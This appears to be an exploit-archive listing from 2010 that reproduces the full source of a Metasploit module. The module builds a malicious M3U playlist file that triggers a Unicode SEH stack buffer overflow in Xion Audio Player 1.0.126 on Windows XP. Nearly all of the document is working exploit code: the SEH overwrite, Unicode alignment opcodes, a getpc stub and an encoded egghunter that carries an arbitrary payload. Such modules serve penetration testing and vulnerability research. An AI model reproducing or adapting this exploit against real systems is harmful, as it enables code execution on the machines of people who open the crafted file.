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Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow

Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow
Posted Dec 1, 2010
Authored by corelanc0d3r, m_101, anT!-Tr0J4n | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Xion Audio Player prior to version 1.0.126. The vulnerability is triggered when opening a malformed M3U file that contains an overly long string. This results in overwriting a structured exception handler record.

tags | exploit, overflow
advisories | OSVDB-66912
SHA-256 | b6618a2b52819051d42df306ace385517bd41863a129b2db684203c2451025e3

Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow

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##
# $Id: xion_m3u_sehbof.rb 11183 2010-11-30 23:07:00Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Egghunter
#include Msf::Exploit::Seh # unused due to special circumstances

def initialize(info = {})
super(update_info(info,
'Name' => 'Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Xion Audior Player prior to version
1.0.126. The vulnerability is triggered when opening a malformed M3U file that
contains an overly long string. This results in overwriting a
structured exception handler record.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 11183 $",
'Author' =>
[
'anT!-Tr0J4n', # Discovered the bug
'm_101', # Original and msf exploit
'corelanc0d3r' # Original egghunter code
],
'References' =>
[
#[ 'CVE', '' ],
[ 'OSVDB', '66912'],
[ 'EDB', '15598' ],
[ 'URL', 'http://www.exploit-db.com/exploits/15598' ]
],
'Payload' =>
{
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI', # egghunter jmp edi
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Xion Audio Player v1.0.126 XP Universal', { 'Offset' => 252, 'Ret' => "\x51\x43" } ] #unicode p/p/r equivalent xion.exe
],
'DisclosureDate' => 'Nov 23 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The output filename.', 'm_101_xion.m3u']),
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/'])
], self.class)
end

def exploit
# seh chain
# 5b pop ebx
# 00 43 00 add byte [ebx], al
nseh = "\x5b\x43"
# 51 push ecx
# 00 43 00 add byte [ebx], al
seh = target['Ret']

# 37 aaa ; clear al bit 4 to 7
# 00 38 add byte [eax], bh ; eax = 0x00390001 (rw)
# 00 41 00 add byte [ecx], al ; ecx = 0x00380037 (rw)
# 39 00 cmp dword [eax], eax
ecx = "\x37\x38"
eax = "\x41\x39"

# alignment code
# 5a pop edx
# 00 43 00 add byte [ebx], al
align = "\x5a\x43" * 2
# 5c pop esp
# 00 43 00 add byte [ebx], al
align += "\x5c\x43"
# 61 popad
# 00 41 00 add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37 aaa ; clear al bit 4 to 7
# 00 38 add byte [eax], bh ; eax = 0x00390001 (rw)
# 00 41 00 add byte [ecx], al ; ecx = 0x00380037 (rw)
# 39 00 cmp dword [eax], eax
align << ecx
align << eax

hunter, egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

# Encode with alphamixed, then unicode mixed
# thanks to corelancod3r for this egghunter code snippet
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}
#tweak hunter, patched to make it write to ECX
hunter[1] = "a"

sploit = rand_text_alphanumeric(263)
# seh chain
sploit << nseh << seh
sploit << align
sploit << hunter
sploit << egg
# if not long enough, it won't trigger the seh
sploit << rand_text_alphanumeric(4000 - sploit.length)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)
end
end
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